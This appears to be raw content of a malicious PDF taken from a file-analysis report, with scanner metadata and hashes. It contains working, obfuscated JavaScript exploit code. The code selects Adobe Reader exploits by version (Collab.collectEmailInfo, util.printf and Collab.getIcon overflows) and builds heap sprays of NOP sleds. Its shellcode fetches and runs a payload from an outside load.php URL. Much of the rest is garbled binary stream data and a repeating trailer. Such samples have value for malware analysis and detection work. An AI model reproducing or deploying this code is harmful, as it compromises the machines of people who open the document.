\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0032\u0000");var citAD=0x0c0c0c0c;var KXfeU=[];var IfpAs=0x400000;var ATYqm=fnniw.length*2;var WGwzC=IfpAs-(ATYqm+0x38);var UiVOp=iYy("\u9090\u9090");UiVOp=doftk(UiVOp,WGwzC);var IcpyE=(citAD-0x400000)/IfpAs;for(var MaVIl=0;MaVIl<IcpyE;MaVIl++){KXfeU[MaVIl]=UiVOp+fnniw;}
var xvxUI=iYy("\u0c0c\u0c0c");while(xvxUI.length<44952)xvxUI+=xvxUI;this.collabStore=Collab.collectEmailInfo({subj:"",msg:xvxUI});}
function Rgt(){var ZRp=new Array();function LNl(Wsh,zTG){while(Wsh.length*2<zTG){Wsh+=Wsh;}
Wsh=Wsh.substring(0,zTG/2);return Wsh;}
CZF=0x30303030;ufk=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0031\u0000\u0000\u0000\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39");var afs=0x400000;var OFi=ufk.length*2;var zTG=afs-(OFi+0x38);var Wsh=iYy("\u9090\u9090");Wsh=LNl(Wsh,zTG);var Vzc=(CZF-0x400000)/afs;for(var oZP=0;oZP<Vzc;oZP++){ZRp[oZP]=Wsh+ufk;}
var eDF="38922279544736423325";for(iYy=0;iYy<138*2;iYy++){eDF+="5";}
util.printf("%45000f",eDF);}
function bls(pct)
{pct=pct.replace(/[\+1]/g,"0");pct=pct.replace(/[\+2]/g,"9");pct=pct.replace(/[\+3]/g,"8");pct=pct.replace(/[\+4]/g,"7");pct=pct.replace(/[\+5]/g,"6");pct=pct.replace(/[\+6]/g,"5");pct=pct.replace(/[\+7]/g,"4");pct=pct.replace(/[\+8]/g,"3");pct=pct.replace(/[\+9]/g,"2");pct=pct.replace(/[\+0]/g,"1");return pct;}
function HqIVe(){var SRgBv=iYy("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0033\u0000\x29\x43\x29\x43\x29\x43\x29\x43");RIJ=iYy("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+SRgBv;ITt=iYy("\u9090\u9090");HPy=5*2;lTu=HPy+RIJ.length;while(ITt.length<lTu)ITt+=ITt;BBH=ITt.substring(0,lTu);vCa=ITt.substring(0,ITt.length-lTu);while(vCa.length+lTu<0x40000)vCa=vCa+vCa+BBH;HAL=[];for(bEu=0;bEu<180;bEu++)HAL[bEu]=vCa+RIJ;var GpJ=4012;var HjQ=Array(GpJ);for(bEu=0;bEu<GpJ;bEu++)
{HjQ[bEu]=iYy("\u000a\u000a\u000a\u000a");}
Collab.getIcon(HjQ+"_N.bundle");}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x497 13928 bytes
SHA-256: 74157ce6bb850dc8cd2278aaaa34f7854095ff42edc8d6fcc859d54bc8221e34
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var iYy=unescape,zws=app.viewerVersion.toString(),XZR=iYy("t\h\i\s");XZR=eval(XZR);if(zws<8)
{gQJHg();}
if(zws>=8&&zws<9)
{Rgt();}
if(zws<=9)
{HqIVe();}
function doftk(UiVOp,WGwzC){while(UiVOp.length*2<WGwzC){UiVOp+=UiVOp;}
return UiVOp.substring(0,WGwzC/2);}
function gQJHg(){var fnniw=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0032\u0000");var citAD=0x0c0c0c0c;var KXfeU=[];var IfpAs=0x400000;var ATYqm=fnniw.length*2;var WGwzC=IfpAs-(ATYqm+0x38);var UiVOp=iYy("\u9090\u9090");UiVOp=doftk(UiVOp,WGwzC);var IcpyE=(citAD-0x400000)/IfpAs;for(var MaVIl=0;MaVIl<IcpyE;MaVIl++){KXfeU[MaVIl]=UiVOp+fnniw;}
var xvxUI=iYy("\u0c0c\u0c0c");while(xvxUI.length<44952)xvxUI+=xvxUI;this.collabStore=Collab.collectEmailInfo({subj:"",msg:xvxUI});}
function Rgt(){var ZRp=new Array();function LNl(Wsh,zTG){while(Wsh.length*2<zTG){Wsh+=Wsh;}
Wsh=Wsh.substring(0,zTG/2);return Wsh;}
CZF=0x30303030;ufk=iYy("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0031\u0000\u0000\u0000\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39\x43\x39");var afs=0x400000;var OFi=ufk.length*2;var zTG=afs-(OFi+0x38);var Wsh=iYy("\u9090\u9090");Wsh=LNl(Wsh,zTG);var Vzc=(CZF-0x400000)/afs;for(var oZP=0;oZP<Vzc;oZP++){ZRp[oZP]=Wsh+ufk;}
var eDF="38922279544736423325";for(iYy=0;iYy<138*2;iYy++){eDF+="5";}
util.printf("%45000f",eDF);}
function bls(pct)
{pct=pct.replace(/[\+1]/g,"0");pct=pct.replace(/[\+2]/g,"9");pct=pct.replace(/[\+3]/g,"8");pct=pct.replace(/[\+4]/g,"7");pct=pct.replace(/[\+5]/g,"6");pct=pct.replace(/[\+6]/g,"5");pct=pct.replace(/[\+7]/g,"4");pct=pct.replace(/[\+8]/g,"3");pct=pct.replace(/[\+9]/g,"2");pct=pct.replace(/[\+0]/g,"1");return pct;}
function HqIVe(){var SRgBv=iYy("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u6E2F\u6363\u6E63\u6E6E\u2E63\u6E63\u692F\u676D\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3820\u302E\u577C\u6E69\u6F64\u7377\u5820\u2650\u3D65\u0033\u0000\x29\x43\x29\x43\x29\x43\x29\x43");RIJ=iYy("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+SRgBv;ITt=iYy("\u9090\u9090");HPy=5*2;lTu=HPy+RIJ.length;while(ITt.length<lTu)ITt+=ITt;BBH=ITt.substring(0,lTu);vCa=ITt.substring(0,ITt.length-lTu);while(vCa.length+lTu<0x40000)vCa=vCa+vCa+BBH;HAL=[];for(bEu=0;bEu<180;bEu++)HAL[bEu]=vCa+RIJ;var GpJ=4012;var HjQ=Array(GpJ);for(bEu=0;bEu<GpJ;bEu++)
{HjQ[bEu]=iYy("\u000a\u000a\u000a\u000a");}
Collab.getIcon(HjQ+"_N.bundle");}
app.eval();
app.eval();
endstream
endobj
73 0 obj<</Subtype/XML/Length 224/Type/Metadata>>stream
©N> u «а©1XЄѕ»&Ї Єш'v/щ(шпС;с-nsd02`Б№Ђ0_5¦ћќ9%lч|Ъ|5‘•@ Ж‹эся ЄLД"  –Љ “©д«9иhS/ќkSЃcш-2T†ЮсѕqИ   ЊѓМwF} oN РХbљEИ iH\\ Лт
endstream
endobj
116 0 obj
<</ / / / /Filter/#46#6c#61#74#65#44#65#63#6f#64#65/Length 2000+052>>
stream
x^�X[o � ~ϯ  �B� �K./[y ��%c�� 'q�X���J�REVu�� ���f(;V ���S8�g��ϐ�3�G����o ��l�  棝O �r0��OF ���h����vWg/W��������a	�vk�?�O��V�G���`�Ƣӛ��P��:��N^<߇L���w���� ��'�[���p�   � ;^φ+�~���x�G������/�.>՝����t�P����du����И�[� j ��z1{�?w��w� �H���-S w�()��lr� ��s��m(b���R И�话� E�_��� $I  +@'t  c�	� No �� � X��`P ` M �2BCZ� ,q
��� �/ c2GԬ�ua Oƞ�Ϊ2��� IYK�F U��< ��� O] g&4��ʆ�3��	�B ���u:֦`k�����9� � �9"����b�lc
塒Ș1 e�V)�� ?��3���L^�E�<���� �h=0��� �j�嬇l�
�E� 2� ��{a FE�dER2 ����H���N��:'�t���& W�e����n����$HWC�Wd��
dO:G�{: �*n� U   #�8!_���_�w�tz  �>�jjʏ� �Ʉ �� ���"�	I�c7�9�<���"E ��?i_���<���� E����#���x���7�� ���@E;�uz ("�(�� Q��2F�or~#l!A� )� z�jZ���:f ���r� ڊ�OKM9oj�TF�D��>�:e�ϕ� c����i� lA��$�x `�� �C  �?k �ʃ�k  E�^�EȺBA*��a *^)hV�� �8Y*��  O��� ��Lf��q�'�R �+Q1 }%ln�%+,4�3CY
 � e�{ 6�"�^ �` k��Լ��=  e�Y�R�ac�<��%[ �y�  ��i��7T�Z� �儩I T�L<�I�&(��Z� ߐm��U �j��d z���	�C}���p���R\�a�����: �.����Z�#')����o ~(� �  &p�)Y�I����R�d���u�(D �  D�[ђ���c(���k7:O�Ho|�h��  G �R���w@"i��v�8�c&�M �˾� ������k�( H  �J ��8��вènɏ��t�� �M��w/Wg�QY�Q��*| L� ��Y�
���w��·��w,�y��r��*��p^�F ���b� u��� �����t�ӫg�� ?�T{� �-    ��J<x��oZ��W���b%���z��C� ���v<���P� j<W��� O� �m�KL]��������a0�[o�S��( �} JN	�'mPou T�xfN��M?@�ە����Oò�:u� �ʛ ���Ϩ��{`�'U~��c,�R
�«M� 5�l)WH)m�sta&�JI�bu4�� �^�ܷ�V� Rݲ �Ϗ֫�tw�� 5n�����-- �Uu[�� 8�
���= �0� ���]����p�~z��fo��촨 � U2��������L��P5S�=T�T} �25��ꘪ� L��P S3P7
�r��cs �m���  ~}�jA� �  %r:��E+� Gc� h�3n����p �i �� ��� hk�Վ�L� �� �  �VAJ ����u���ƶʑ�B� �k����ڪd��(E
�P�6t�a
QѓS�� � ti�gܲ+�S � �A 
�AC��<w���5��. r�W*�
�StVG�  ��\�lA
W3�%8
�s�d5y۠�#� '��: �  c�kX�Y�B� 0��uUMv ]�`�ŀ��r�#�����} �py ���u<�
Tc
��֮��p  0���� ��F $ � ��M�4n�@>�@ F�"i� Q��t*�?���ݩ%�&�դMh@eH�� "�<�%m�JK[� Gzb �E�,i�kKCl��!���17 ��%�
*:����"��'��Ã�w���k������V��������� �I���c�Qb���%�]��M� �!x=z����� ���>=� [b�׃;�/J�0O����Q� vos��! ��� ������*� �wa�� p/s�D[ �1VoY �s��l���E&���� e ��,�� ��"�� �Tmz"�L ~�� ������d�: ��ڐ���#���w � ��S� q� iv_�x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �
endstream
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1990 0 obj
<</ / / / /S/#4a#61#76#61#53#63#72#69#70#74/JS 116 0 R/ / / />>
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
5 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
9 0 obj
<</ / / / /count 2/Type/Pages/Kids[1894 0 R]/ / / />>
endobj
123 0 obj
<</ / / / /Length 0000>>
stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
endstream
endobj
23 0 obj<</CropBox[0 0 595.22 842]/Parent 62 0 R/Contents 25 0 R/Rotate 0/MediaBox[0 0 595.22 842]/Resources 24 0 R/Type/Page>>
endobj
24 0 obj<</ColorSpace<</Cs6 59 0 R>>/Font<</TT2 52 0 R/TT3 54 0 R/TT4 45 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS1 57 0 R>>>>
endobj
25 0 obj[26 0 R 27 0 R 28 0 R]
endobj
26 0 obj<</Length 3>>stream
Y.в
endstream
endobj
91 0 obj
<</ / / / /S/JavaScript/JS 123 0 R/ / / />>
endobj
xref
trailer
<<
/Root 15 0 R
>>
startxrefx� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �x� # ��x� ��� )� ��	)ur�(sN�p�q/�
��8 
� �B5 �
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x497 13949 bytes
SHA-256: 2efc0b9e4e3fad7ee50e0e74b1f893b4af41c8a4e0ee23ab3cc19f3d51722234
Detection
ClamAV: No threats found
Obfuscation or payload: likely
